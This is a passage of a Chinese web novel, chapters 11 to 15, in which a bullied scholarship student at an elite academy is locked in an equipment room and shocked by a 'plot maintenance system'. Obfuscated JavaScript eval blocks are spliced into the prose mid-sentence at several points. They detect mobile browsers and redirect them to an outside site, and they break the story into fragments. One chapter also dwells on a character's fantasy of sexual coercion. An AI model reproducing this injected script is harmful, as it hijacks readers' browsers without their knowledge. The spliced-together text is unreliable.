红发脸上还带着雀斑的男孩往嘴里塞了一块牛排,漫不经心地开口,“你赌他能坚持多久,一个特优生,一周顶多了吧。到时候你跟方盛寒说一声呗,别让他把人给欺负惨了。等老方气消得差不多了,你再把他要了不就行了,说不定他还会涕零感激呢。” 黑发的男生漫不经心地点了点头,忽然笑着说:“不过听说贺琚马上就要回学校了,那时候方盛寒会不会收敛一点。那我赌十天吧。赌注就是上次拍卖会,你看中的那块绿宝石手表怎么样?” “好啊,一言为定。” 贺衍手上的青筋暴起,手里的勺子弯了。 [不行哦,如果你这次再动手的话,剧情就圆不回去了,那我就要实行强制措施了。] 稚嫩的电子童音再次出现,只是这一次,贺衍比以往任何一次都听得都要清晰。 周遭眼神毫不掩饰地打量着他,令人厌恶。贺衍拳头握紧,唇瓣被抿的发白。他站起身,勉强维持着冷静,迈步离开餐厅。 二餐厅门外,裴屷从专车上下来。 门口的服务生瞥到他胸前的紫色,殷勤地为他打开大门,“您请——” 贺衍走出大门,眉梢间满是寒意,他和门外的裴屷擦肩而过,没分过去丝毫视线,大步从门口离开。 旁边的其他学生看到这一幕,忍不住嘶了一口气。 裴屷皱了皱眉,低头看了眼被人碰过的肩膀,凤眼中划过一丝不快,这衣服不能要了。 11. 第 11 章 诺布莱斯别墅区。 棕毛正在给方盛寒汇报着来自前线的最新情报,顺便diss了一下完全没出力的红毛,“方少,我已经按照你的吩咐,把那个叫贺衍的家伙狠狠收拾了一顿。” 红毛暗戳戳地瞪了一眼棕毛,枉费自己昨晚那么帮他了。他一脸无辜地自己辩解,“方哥,不是我不愿意,主要是我肚子现在还紫着呢,而且手臂昨晚也被弄了一下,实在使不上劲儿。” 红毛倒没有多害怕,他加入方盛寒的小团体纯粹是因为圣洛莱索太无聊了,给自己找点事干。毕竟他表哥也是A级的学生,虽然比不上方盛寒,但他至少不用像棕毛跟个狗腿子一样,主人指哪打哪。 方盛寒啧了一声,金色的碎发挡住了满是恶意的绿眸,他踢了踢在旁边弯腰卑躬屈膝的棕毛,意味深长地说:“下午你们班不是有体育课。” 棕毛点头,眼睛转悠了两圈,“您放心,那个小老鼠跑不了的,保证让您满意。” 红毛眨巴眨巴眼睛,低着头一言不发,反正他现在是病患,决定隔岸观火,看事情发展。 等着两个人都走了之后,方盛寒咳了几下清了清嗓子,拨通了贺琚的电话。 贺氏集团顶层,贺琚看了眼来电显示,眉头蹙起,终于接通了一直响个不停的电话。 “贺琚,你现在身体怎么样。大概什么时候会来啊,我在学校好无聊。” 贺琚一边看着文件,一边漫不经心地回答:“大概明天吧,我现在身体恢复得还算不错。” 方盛寒一下子激动起来,他用邀功的语气说道:“那可太好啦。对了,我已经帮你好好‘照顾’过那个所谓的哥哥了,放心,我不会让他有机会在学校里欺负你的。” 贺琚黑眸流转着光波,熠熠生辉,他的好哥哥,现在是不是自己躲在房间里哭,那个表情,应该很有意思吧。 贺琚唇角的弧度变大,眉眼弯起来,“啊,多谢你了,但我哥哥他其实也没对我做什么,你不用这么费心的。” 希望他的哥哥再坚持一会儿,毕竟只有他回去了,这场游戏其实才算是真正开始啊。 贺琚在文件上签下自己的大名,华丽的花体字泛着雀跃的律动。 圣赛尔公寓。 五楼501的大门被砰一下地关上,连另一侧的窗户都跟着颤了一颤。 贺衍深呼了一口气,“你到底是什么东西?” 空气中只有他一个人的自言自语,就好像刚才在餐厅听到的真的是他的幻觉一样。 贺衍眉头紧锁,面无表情地扯了扯嘴角,“什么剧情就圆不回去了,昨天晚上的那个声音是不是也是你。那个梦是不是你搞的鬼。” 话音落下后,宿舍内依旧是一片安静。 发光的书,诡异的梦,说话的电子音—— 真是有意思,真TM有意思。贺衍把自己摔到床上,他双手紧握,额前的青筋猛地跳了一下,他缓缓地吐出一口气,闭上了眼睛。 这种鬼东西以为神出鬼没就能把自己吓住了吗。 即便他真的生活在书里又怎么样,书里的那个贺衍和自己的性格完全不一样。那个书里的贺衍不清楚的幕后黑手,但他现在已经知道了。 方盛寒,贺衍眸色变沉,他不会就这么坐以待毙。 下午两点,德伦丘斯一楼东。 贺衍一踏进教室,刚刚还在说话的几个人顷刻间就安静起来,鼻观眼眼观心,全然把贺衍当透明人。 贺衍无所谓这些人的孤立,趋利避害是人的天性。 干净崭新的桌椅摆放在他原来的位置上,看起来完全是新的;桌面上放着一套看起来很新的课本,贺衍翻了一下,只有数学课本前几页有几个奇奇怪怪地涂鸦。 这些书? 贺衍往教室后侧的角落看了一眼,红毛察觉到视线,讨好地朝着贺衍笑了笑。 棕毛斜着眼看了红毛一眼,颇有些恨铁不成钢的模样,“你知道你脸上现在什么表情吗?” 红毛摸了下脸,一脸傻愣,“你什么意思。” 棕毛翻了个白眼,“迈尔斯,你以为方少会不知道这些,到时候别怪我没提醒你。” 红毛也就是迈尔斯·道蒂无所谓地耸了耸肩,“反正我可不想再被揍,你还是先管好你自己吧。你也知道,贺衍家伙可不是原来的那些人。姆扎州不是有句古话,光脚的不怕穿鞋的。他一个特优生,一穷二白的,要是真把他逼疯了,谁知道他会做什么。” 棕毛冷哼了一下,没再说话。 两点二十七分,一头银发、文质彬彬的老先生从门外走进来,右手还提着一个有些老旧的帆布袋。 坐在第一排的马英帆赶紧把书从课桌里拿出来,也顾不得偷看贺衍,立刻正襟危坐。 圣洛莱索学院的各个学科的老师都毕业于联邦顶尖大学,博士学位是最基本的要求。但是要说这里面最牛的存在,还得是学院的特聘教师,他们无一例外都是首都名门高校的教授、副教授。 就像讲台上这个看着普普通通的老头,实际上是联邦政法大学的教授——冉哲,他甚至可以直接推荐学生免试进入联邦政法大学。 马英帆虽然目标是考入联邦大学,但联邦政法大学也是全联邦数一数二的高校,作为每年都能为联邦政府输送大量人才的高校,这所学校的政治力量不言而喻。如果能得到其中的教授的青睐,无疑是一件大好事。 圣洛莱索学院和普通的高中不同,因为学生不需要参加联邦高考,只需要面试就能进入大部分高校,所以这里的高三年级的学生,不仅没什么课业压力,连每周的课程安排都极其多样化。 因此除了数学、语文和政治这三门主科,圣洛莱索的每个学期的课程也不一定都一样。甚至每周二——周四的下午这个时段开设了各类包括马术、茶道、插花……十几种课程由学生选择性参加。 还有一门贺衍从来没有接触过的游泳,毕竟罗河县在北方内陆,县城里没有游泳馆,学校自然也没有。但作为联邦经济最发达并且大多数地区临海的萨卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就像我们知道的略阿州,作为最落后的联邦区域,教育资源本就贫瘠,但联邦各大高校录取分数线却与之相反,是联邦几大州之最。裴副总统上台后,联邦便紧接着出台了一系列政策,目的就是让教育更加公平公正,让高校考试招生更加风清气正。 在座的各位都是圣洛莱索学院的学生,可能觉得这篇文章里所描述的事情离你们很远,毕竟大家不需要像普通人一样参加联邦高考,但如果这项政策真的能推动,或许——” 冉哲看着下面一张张事不关己的表情,有些无奈的笑了笑,“但推动教育体制改革,本身就是一件太难太难的事,这涉及各方的利益,牵扯到的不仅仅教育,更深层次是因为联邦固化的阶级……” 裴行赫今年三十七岁,不仅是联邦最受民众支持民意最高的副总统,也是联邦有史以来最年轻的副总统。 贺衍自然知道这个人是谁,但在这之前他在意只是因为这人是裴屷的父亲。 裴行赫,贺衍轻轻吐出一口气,如果这位副总统真的像冉哲教授所说,一直致力于推动教育公平化的话,的确令人尊重。 下课铃声响起,班上的学生陆陆续续地往外走。 一会儿要去上体育课。 体育课,贺衍的手忽地抽动了一下,莫名感到不对劲,就像是今天早上的感觉一样。 贺衍眸中染上墨色,眉梢微挑,有些跃跃欲试。 这个体育课如果是剧情点,要是他真的不按照书里的情节,那个自称会采取强制措施的声音,会再次出现吗? 12. 第 12 章 今天下午的体育课是篮球课,上课地点在室内篮球场。 换完运动服之后,距离上课还有一小会儿。 贺衍靠在墙角,他扫视着整个场地,场馆很大,每个场馆之间用铁丝网分隔开。是太过于草木皆兵了吗,他依旧没有想起什么相关的书本情节。 贺衍试图通过视觉刺激脑海中的残留的记忆,但依旧一片模糊,或许,剧情点不发生在这里。 贺衍的周围完全是一片真空地带,没有人敢离他太近。 四班的学生很明显分成了两拨,BC等级的学生嬉笑打闹,其他特优生也是聚在一起,不过相对来说安静多了。 仿佛突然按下静音键,周围笑闹声消失了,这些人的视线都望着同一个方向,都不约而同下意识地噤声。 裴屷穿着一身黑色的运动服,即使没有胸前显示身份的紫钻徽章,他在人群中依旧鹤立鸡群,表情淡漠,冷冽矜贵不可接近。 好安静,贺衍奇怪地顺着人群的视线,看了男生一眼,这个人好像有点眼熟,贺衍搜索大脑里的记忆。 他知道这个人是谁了,贺忠载给的资料里有裴屷的照片。贺衍表情凝固了下,他随即抿了下嘴,很快垂下眼睛,不感兴趣地收回视线。 裴屷走过,目不斜视。 他走过之后,刚才下意识屏住呼吸的男生女生才再次小声讨论起来。 “这次也太幸运了吧,两年了,第一次和裴屷在一个时间段上课。我刚才看到了,裴屷的两个眼睛真的不一样。” “你说他以后会不会从政,毕竟副总统——” “嘘,这可不好说,他爷爷可是将军。果然人比人气死人,和这种真正的豪门比,我只能算个穷捡破烂的了。” “那你要是捡破烂,我是什么,要饭的,哈哈哈哈。” 这些人不屑的目光漫不经心地扫到角落里的那群特优生身上,特意在贺衍身上停留了片刻,然后笑得更开怀了。 体育老师梳着飞机头,身材极其健硕,不知道什么时候出现在了网球场上,体育老师姓廉,他原来是联邦萨卡州的篮球名将,因伤退役后来这里当老师。 廉老师吹了下哨子,嗓门很响亮,整个篮球场都能听到。 “那两个高个的男生,你们俩去器材室拿一下篮球。对,就是墙角附近的那个黑发男同学;还有,别看了,就是你,那个红发卷毛。” 隔着铁丝网,在另一个场地的裴屷抬眸看了一眼这边,他也正在墙角热身。 贺衍恰好抬眸,两人的视线撞到一起,裴屷面无表情地移开了视线。 贺衍没放在心上,他瞥了一眼另一个被叫到的红发卷毛。 迈尔斯肉一脸惊讶地指了指自己,又睁大眼睛看了眼贺衍,连忙摇头,“老师,老师,我受伤了,没办法去——” 棕毛站出来,“老师,我替迈尔斯去吧。” 体育老师无所谓地点了点头。 贺衍看着朝自己走来的棕毛少年,眉毛挑了一下。这家伙,他没去找他,他到自己先来了。 今天上午发生的事,贺衍最大的怀疑对象就是眼前这个比自己矮了半个头的棕毛了。 “昨天晚上真的很抱歉,还没来得及正式跟你道歉。我是安东·哈里曼,你叫我安东就好。其实如果不是因为方少,我完全不想干这些欺负同学的事情。” 安东他揉了揉自己的头发,他垂着眼睛,模样懦弱,看着谁都能欺负他一样。 安东满脸歉意地说道:“贺衍,都是因为方盛寒的压迫,我才不得不成为他的帮凶。不然我可能也会被霸凌,甚至会退学,希望你能原谅我昨天晚上的行为。我们是同班同学,我真不希望你我之间有矛盾。” “那今天上午的事呢?” 器材室很近,也就五十米不到。 安东推开大门,他扭头看向贺衍,满眼无辜,似乎完全不清楚贺衍在说什么,“不好意思,我今天上午突然胃病发作,所以去校医院了。” 贺衍意味不明地哦了一声,整个人的神色骤然变冷,那双眼睛仿佛蒙上了一层雾,看不清深浅。 贺衍看着器材室,沉默地往里面走去。他知道接下来要发生什么了。 安东也没再说话,两个人把篮球装到不锈钢车,拉着离开器材室。 安东忽然惊呼了一声,“那个,贺衍,我刚才好像输错数了,好像还差两颗篮球,你能再去拿两个吗?” 贺衍唇角微扬,眉眼一片嘲意,额前的碎发随着他的轻笑微微晃动,“然后你就可以把我关——” 他的话还没说完,就感觉嗓子像是被一双无形的手死死掐住,上下唇瓣之间被强力胶死死黏上。 安东还保持着那种有些请求地微笑,定定地看着贺衍,他没有察觉出什么不对。 [答应他,请勿违背原著剧情,否则抹杀] 电子音再次出现了,冰冷的警告伴随着刺入骨髓的寒意。 太阳不知何时挣脱了乌云的束缚,几缕阳光透过篮球场透明的玻璃穹顶射进器材室内,在地面上留下摇曳的光影,照在人身上还带着略微的暖意。 贺衍的嘴巴被牢牢封死,拒绝的话半点吐不出来。冷意从脊骨处传来的瞬间蔓延全身,他的额头冒出冷汗,眸中满是寒意,那个声音这不是在开玩笑。 安东被贺衍的表情吓到了,他打了个寒颤,正想着要是被识破了,他该怎么圆场的,贺衍点头同意了。 他看到贺衍走到器材室内篮球架附近后,迅速关上器材室的铁门,从外面牢牢锁死。安东嘴里吹着小曲,表情一改刚才的懦弱,完全一副小人得志的模样。 不远的视觉盲区,裴屷漠不关心地移开视线,继续自己的热身。 贺衍面无表情地看着器材室的大门被紧紧关上,没有做出任何动作。 大门彻底关上的那一瞬,贺衍明显地感觉到束缚自己喉咙的东西消失了。 “终于舍得出现了吗?”贺衍甚至是笑着出声,只是声音很冷。 可是和中午一样,没有人回答他,仿佛一切都不过是幻觉。 看来剧情就是自己必须被关在这里,如果他出去了呢。贺衍额角的青筋随着呼吸一鼓一张,他环顾四周,器材室摆放着和篮球相关的各种器材。 器材室的大门是铁质的,门栓在外面,关上之后不可能从里面打开。 贺衍看向了器材室的玻璃窗。 他拿起一个打气筒,在手里掂了掂,摆好姿势,猛地出击砸向玻璃。在打气筒快要碰到玻璃的瞬间,贺衍忽然感觉某种酥麻感从指尖传来,打气筒掉在地上,发出沉闷的声响。 酥麻蔓延到整个身体,瞬间,强烈的刺痛感和烧灼感袭来,贺衍全身麻木,浑身抽搐,肌肉不受控制地痉挛和抽动。 冰冷的电子音出现了,[宿主你好,为了方便你理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457212|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,你可以称呼我为剧情维护系统101。如你所见,我的职责就是维护这个世界的剧情。希望宿主不要做出导致剧情改变的行为,这次的电流只是一个警告,如果再次违背,我将会抹杀你的意识] 身体依旧在轻微抽搐,贺衍找了一块体育海绵垫放在地上,躺了上去。 终于出现了啊,贺衍眼睛微眯,他看着器材室的天花板,大概过了好一会儿,他才开口:“按照剧情发展,那迎接我的结局不只有联邦监狱,依旧还是死路一条。早死晚死都要死的话,那又有什么区别呢。” 电子音很快就给出了回答:[并不是这样。故事的主线发生在圣洛莱索学院,而你这个角色的主要剧情点也发生在圣洛莱索学院内。只要你能按照时间线完成学院内的剧情点,离开圣洛莱索学院后的剧情与你无关,因此并非死路。] 贺衍眼睛缓慢眨动,没有发出声音,如果真的能抹杀自己的意识,为什么不直接一劳永逸把他这个bug除掉,反而使出这种所谓的惩罚手段呢。 比刚才还要强烈的电流再次袭来,刺痛、灼烧、心跳停止了一瞬,贺衍身体抽搐得更剧烈了。他用力咬着下唇,脸色苍白,疼痛的呻|吟快要从唇角溢出。 贺衍蜷缩着身体,莫非这个系统能听到自己心里的话。他在心里比刚才骂得更狠,但是这个101系统没有做出任何反应。 贺衍眼神闪烁,他调整情绪,比刚才的还要愤怒和烦躁。 电子音再次出现了。 [宿主本身应该也意识到了,这里是一本书,但同样也是一个真实的世界。不知道什么原因导致宿主做出了和原书中不一样的举动,但这些举动会导致剧情走向改变。 对于我们来说,要想保持书本世界不崩塌,最简单的方法就是维持原剧情走向不变动。希望宿主不要再做出像昨天晚上那样的举动。 宿主需要知道,电流并非只单纯作用于肉|体,还会对宿主的灵魂造成损害。灵魂破碎后,你的意识就会彻底消失。] 贺衍嘴角扯了扯,真是拿捏到自己的痛处了,或许这个世界很糟糕,但他还有牵挂,他不能消失,也不想消失。不过他也再次肯定了,这个系统不能知道他到底在想什么,只能大致知道他的情绪波动。 贺衍敛眸,“好,我答应你。” 冰冷的电子音再次变成了软萌的电子童音,[既然我们达成协议了,那么之后,宿主,合作愉快。] “我什么时候能出去?” 电子童音:[等到下午最后一节下课,马英帆会来解救宿主的,请耐心等待。] 贺衍轻呵了一声,等别人来救。他叹了口气,从口袋里拿出手机,但手机怎么按都是黑屏。 算了,既然要等那就等吧。贺衍睫毛轻颤,重新躺到海绵垫上,闭上了眼睛。 夕阳落下,天色逐渐变暗。 [宿主,别睡了,别睡了。剧情有变动,马英帆没办法来了。我就说之前你昨晚不应该上六楼打人的。] 真吵,打扰人睡觉天打雷劈,贺衍揉了揉眼睛,睡眼惺忪。 篮球课早已经结束,甚至连下午最后一节课的铃声也打响了。 没有一个人来器材室,也没有一个人来解救贺衍。 救人不如自救,贺衍站了起来,活动了一下身体,他重新拿起了掉落在地上的充气筒。 就在这时,大门那里忽然传来了动静。 13. 第 13 章 第十分钟前,下午最后一节下课铃响起,班里的学生陆陆续续地离开教室。 马英帆坐在那里一动不动,拳头紧紧握住,嘴唇也咬得发白。体育课只有安东·哈里曼一个人回来的时候,马英帆就觉得有点不对劲了。更别说后面的课,贺衍甚至没有出现在教室里。 马英帆看着微讯里至今未读的消息,他站了起来,深呼了一口气,终于走出教室。 德伦丘斯门口,安东和迈尔斯正在等待摆渡车。 安东完全不掩饰自己的幸灾乐祸,“那个贺衍完全就是一个蠢货,他现在估计还在器材室里,估计只有等到明天上午,有人上体育课的时候,他才会被放出来。” 迈尔斯耸了耸肩:“你这次绝对把他得罪狠了,你就不怕贺衍出来了,把你打一顿?” “那总比完不成方少的任务强,我可不是你,有一个好表哥。”安东嘴角撇了下,“更何况,上次不过是我喝醉了而已。要是硬碰硬,谁打谁还说不准。” 不远处,已经送完一拨学生的摆渡车接连出现。 马英帆急迫地冲上车,“师傅,我想去篮球——” 安东按住马英帆的头顶,一脸好奇地问:“你去篮球场干什么?” 迈尔斯双手环胸,一脸看好戏的表情。 马英帆瞬间打了冷颤,他缩了一下脖子,小心翼翼地扭头,看到安东和迈尔斯的时候瞳孔猛缩,表情僵在脸上,他连忙摇头,“那个,那个,我是想去一餐厅,我太饿了,饿昏头了,可能不小心说错了。” 安东示意马英帆坐上车,对着开车的司机吩咐道:“师傅,去一餐厅,别给人送错地方了。” 篮球场器材室。 夕阳的余晖穿过透明的磨砂玻璃,整个房间呈现昏黄的色调。器材室的大门距离窗户很远,暗色侵袭,周边的一切都有些模糊。 大门又响了。 贺衍握紧充气筒,警惕地看向器材室大门,他快步走到大门一侧,屏住了呼吸,全身的肌肉紧绷。 大门被打开了,推开门的人穿着一身保安制服,正在和另一位保安说话:“你说裴少把什么忘这里面了?” “听说是什么袖扣之类的,上面通知的时候说得也挺模糊的。对了,我已经把电闸推开了,这里的灯在哪里来着?” 啪嗒一声,整个室内瞬间明亮。 身后,一名保安摸了摸后脑勺,“你刚才听见什么动静没?” 另一个人摇了摇头。 “那可能是我感觉错了,开始找吧,”保安叹了口气,“袖扣那么小,也不知道能不能找到。” 贺衍跑远之后,低头看了眼手里的充气筒,算了,明天再找时间放回来吧。 还有,他刚才是不是听到了裴屷的名字?贺衍睫毛轻颤,裴屷今天有到器材室吗,他怎么会把东西丢到这个地方。 贺衍敛眸,要真是他想得这样,他可能欠了裴屷一个人情。 “系统,刚才没来得及问,到底出了什么变动,马英帆出什么事了吗?” 系统简要描述了一遍刚才发生的事,[宿主,如果不是你昨晚的行动,安东和迈尔斯也不会对你产生这么大的敌意,也不会对马英帆进行阻拦] 马英帆没事就好,贺衍抿着唇,没有反驳系统的话。 手机没电,学生卡没戴,连宿舍都进不去。贺衍拿着充气筒,打算先回教室拿学生卡。 摆渡车在教室和餐厅之间来回运转,篮球场馆不在这两者之间。等贺衍走回教室的时候再去餐厅的时候,刚好撞上了从餐厅出来的马英帆。 “你没被——”马英帆的话咽了下去,他四下张望了几下,看到没人注意这里,才把贺衍拉到一旁的角落。 “你下午去哪里了,我还以为你被安东他——” 贺衍轻描淡写,“有保安来找东西,把器材室的门打开了。” 马英帆有些愧疚地低下头,“贺衍,抱歉,我——” “马英帆,”贺衍打断了他的话,眉眼弯弯,语气很温柔,“谢谢你。我欠你一个人情。” 马英帆愣在原地,贺衍刚才是不是笑了,啊,不对,他还没说呢,贺衍怎么知道自己打算去帮他。 圣赛尔公寓。 贺衍坐在桌前,钢笔在纸面上沙沙作响。 片刻后,贺衍放下钢笔走进浴室。 桌面的笔记本平铺展开,留下了一堆看不懂的符号。 系统下午出言提醒的时间在最后一节课下课铃声打响后,这么说他也能监控马英帆他们的行为。 可马英帆没有来救自己,反而是保安打开了器材室大门。但系统只是出言提醒,并没有做出实质性的惩罚,是因为这种细微的改动没有影响后面的剧情吗? 这个剧情维护系统,到底是根据什么来判断自己到底有没有违反剧情。 贺衍用冷水洗了把脸,忽然开口问道:“明天有和我相关的剧情点吗?” [请宿主放心,在剧情点开始前我会进行提醒。希望宿主以后不要再做多余的举动,不要像昨晚那样。] 如此模糊的回答,贺衍眸色渐深,这里是一本书,但同样也是一个真实的世界,这可是系统的原话。如果是真实的世界,那剧情点又是怎么定义呢,完全根据书吗? 贺衍拿起钢笔,又在笔记本上写了些东西。 第二天上午,四班。 迈尔斯人还没进来,书包就先他一步被扔到了自己座位上。迈尔斯嘴里哼着小曲,左脚刚踏进教室,人就僵住了。 他眨巴着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黑发的青年语气微妙,肆无忌惮的眼神在贺衍的身上划过,他眯着眼睛笑了下,“真巧啊,又遇见你了。” 红发青年站在他的身后,脸上有明显的雀斑,也同样笑着打量贺衍。 贺衍抬头,他见过这两张脸,昨天中午在餐厅里拿自己打赌的两个家伙。 贺衍厌恶地蹙起眉,他想起身离开,但是这两个人完全把他面前的路挡死了。 黑发青年的声音暧昧低沉,神色极为轻佻,“我是路德维格·卡森,想和你交个朋友。” 更衣室的大门再次被推开了,整个更衣室像是被点燃一样。 “贺琚,贺琚来学校了!” “贺琚,你回来啦,一整个暑假都没见到你了。” 看着簇拥在周围的人群,黑色卷发的青年脸上挂着恰到好处的微笑,视线漫不经心地飘到了某处,表情不可察觉地愣了下。 慕然,贺琚的笑意加深。真是太巧了,对吧,哥哥。 14. 第 14 章 贺衍挑了下眉,真是够糟心,他或许知道游泳课为什么会有这么多人了。 虽然从马英帆口中已经得知贺琚的人气很高,但他还是第一次亲眼见识到贺琚到底有多受欢迎。 更衣室已经陆陆续续离开了一部分学生了,但是剩下的十几个人里,一半以上的人都围在贺琚身边,刚才一脸看好戏的红发雀斑男在听到贺琚名字的时候就立刻朝那边走过去了。 路德维格·卡森却舍不得这时候就放过贺衍,他不仅没有离开,反而将沙发前的路再次堵住。 贺衍扯了扯嘴角,这家伙是不是眼瞎,看不出来他完全不想理他吗?还是说他以为自己是联邦币,人人都喜欢。 贺衍冷冷地回绝了:“不了,我不想和你做朋友。” 路德维格微眯了下眼睛,气氛骤然有些紧张,“你要不要再考虑一下,毕竟,我可以在这个学院里庇佑你。” 卡森集团是联邦最大的珠宝商,不仅拥有独占的天然宝石矿,而且目前首都最大的拍卖行也隶属于卡森集团旗下。 路德维格本没打算现在就接触贺衍。 贺衍是方盛寒选定的游猎对象,而方盛寒背后的方氏资本是联邦排名靠前的风投公司,近些年势头正旺。 在对方还没有玩尽兴的时候,他没必要打扰方盛寒的兴趣,也不想介入方盛寒的游戏。 路德维格本是如此打算,更何况,越是奄奄一息的猎物越容易被捕获。只是,他完全没想到贺衍不只脸对自己的胃口,连身材都这么让人心生欲|意。 路德维格一想到这张桀骜不驯的脸庞会在床上露出的表情,忽然就气消了。那双眼睛染上情|欲的潮红之后,一定会比现在更美。 他可能会哭出来,哭着挣扎,哭着往前爬,但即使如何哭着求饶却也挣脱不开自己的束缚,那时候他会紧紧握住贺衍的腰窝,让他只能承受一次又一次的撞击,任由自己蹂躏。 路德维格的眼神迷离起来,他舔了下嘴唇,他真的有些迫不及待了。 路德维格垂眸看着贺衍,眸色蒙上一层假意的温柔,“我知道谁在欺负你,别怕。”他微微弯下腰,凑近贺衍,轻声耳语般说道:“接受我的邀请,他们就不敢再欺负你了。” 一个玩具而已,方盛寒应该不会这么小气。这么想着,路德维格施舍般地向贺衍伸出了右手。 眼神真是恶心得让人反胃,贺衍的眼睛敷上一层寒霜,冷意像刀一样袭向路德维格。 路德维格此刻全然是色|欲熏心,这个眼神可真美,就是不知道在床上他还能不能保持这种表情,他勾起唇角,放肆地看着贺衍。 贺衍深吸一口气,额头上青筋暴起。 这家伙真是有病,眼睛不想要就留给其他人。贺衍强迫自己冷静,武力在这里解决不了问题,更何况还有一个神出鬼没不知道什么时候就会放电的狗屁系统。 贺衍垂下眼睛,扇羽般的睫毛微微颤动。 路德维格看到之后有些手痒,手指抽动了几下,最后还是没有行动。 游泳课下午三点正式开课,全程两个小时。他是在两点二十左右到达,现在已经是两点五十了。 贺衍眸色渐深,从早上到现在,系统一直都没有任何动静。莫非这里没有什么剧情点? 总感觉有什么地方他没想清楚。系统一共主动出现了三次,第一次是前天晚上在圣赛尔公寓;第二次是昨天中午在餐厅;第三次是昨天下午在器材室门口。 系统目的是维护剧情,可昨天他让迈尔斯清理书桌的行为完全跟书里的人设不符,直到中午他在餐厅的准备和人起冲突的时候,系统才出现。如果当时他和那两个A级的学生起了冲突,按照这个路德维格的性格,他下午绝对不可能正常参加体育课,也会直接导致剧情变动。 已知系统能感知他的情绪波动,也知道他性格和原著中的贺衍完全不同。 按理来说,今天的这事,系统应该也会第一时间出现阻止,就像昨天下午在器材室那样,除非—— 贺衍忽然抓住了什么,眼睛一亮,散碎的线索全都串起来了。 路德维格等得有些不耐烦了,忽然看到贺衍抬头,握住了他伸出来的那只手。 路德维格眼睛骤然亮了,“你这是要答应——嘶,艹,你干什么。” 贺衍眉梢微扬,站了起来,只是握着的那只手愈发用力,手上的青筋崩起,显得手背愈发白皙。 路德维格完全没了任何亵渎的心思。他表情扭曲,两只手一起用力才把手收回来,片刻就红了一大片。他眼底满是怒意,“你什么意思。” 贺衍瞄准他的小腿,不过瞬间,两个人的位置就颠倒过来。路德维希重重摔倒在沙发上,他捂着小腿,脸完全皱成一团,眉毛像毛毛虫一样,不断抽搐扭动着。 武力是解决不了问题,但至少能让他出气。 还是没出声啊,那个剧情维护系统101。 贺衍忽然轻笑出声,是他迷障了,是啊,这里是一本书,同样也是一个真实的世界。剧情之外,这个狗屁系统根本没有管辖权。 贺衍眉梢间的躁意瞬间消散,居高临下地俯瞰着他,“没什么意思,只是不想和你交朋友罢了。” 人群聚在一处,没有人在意角落里发生的小小插曲。 除了有意无意一直注意着这边的贺琚。 贺衍嫌弃地甩了甩手,正准备离开更衣室,视线却和贺琚正正好对上,对方露出了一个更加迷人的微笑,唇瓣张开无声地吐出两个字:哥哥。 贺衍直接无视,绕过贺琚那群人,直接开门离开。他总感觉这小子又在想什么坏点子。 路西维格看着贺衍的背影,想到刚才那双张扬又肆意的眼睛,忽然嗤笑出声,表情阴森,果然,他不该打扰方盛寒的游戏。贺衍是吧,他等着这家伙痛哭流涕。 更衣室的大门再次被关上。 贺琚心底压抑着跃跃欲试的冲动,瞳孔翕张,墨色几乎浸染整个眼眸,不行呢,还是要等一等,现在可不是最好的时机。 周围的一群蠢货还在叽叽喳喳,贺衍掩下眸中的不耐,笑意不进眼底,他微笑着走出人群的包围圈,踱步走向更衣室的隔间。 贺衍离开了更衣室没过一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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近看真的更帅了啊,她有些不好意思地眨了眨眼,脸颊微微泛红,“我就是看你学换气很快就学会了,想向你请教一下。” 贺衍把自己的做法说了一遍,“还有什么事吗?” “谢谢,能,能问一下你的名字——” 还没等贺衍回答,眼前的女生一个不稳,整个人眼看就要往后倒。贺衍眼疾手快地拽住了她的手臂,把她拉到了泳池边上,随后便松开了手。 女孩往贺衍身边凑近,有些后怕,声音也有些发颤,“谢谢,我刚才身体忽然脚底打滑了,如果不是你,我可能就——” 女孩的声音戛然而止,瞬间变幻了好几个表情。艹,贺琚怎么过来了。 水流波动,打击着泳池边缘。 贺衍抬眼,眉头下意识皱起来。 贺琚正站在那里,笑意盈盈地看着这里,意味不明地说道:“英雄救美啊。” 15. 第 15 章 面容姣好的女生撇了撇嘴,真是无语,好不容易遇到身材长相都这么极品的大帅哥,贺琚这家伙往这边干什么。这里可是浅水区,他这种从小游泳比赛拿冠军拿到手软的家伙,来这里虐菜还是当教练。 她原来也想过勾搭贺琚,那时候她完全被这张美人脸给骗了,但这奸诈小人完全是扮猪吃老虎。她不仅人没勾搭上,还被坑了一把,连带着原来搞上的好几个小男生也知道彼此的存在,都跟自己断关系了。 她也曾经试图曝光贺琚这黑心莲的真面目,但不仅没一个人信她,反而一堆人背地里说她不甘心被拒绝就诋毁贺琚,导致她现在看见贺琚都快PTSD了。 这两个人认识?贺衍的视线在两人之间移动,正好把空间留给他们。 泳池边上都是练习换气的学生,贺衍向泳池内部走了几步,打算去其他地方继续练习。 贺琚眨了眨眼,眸底划过一丝坏笑,他轻轻动了几步,便伸出手握住了贺衍的手腕。 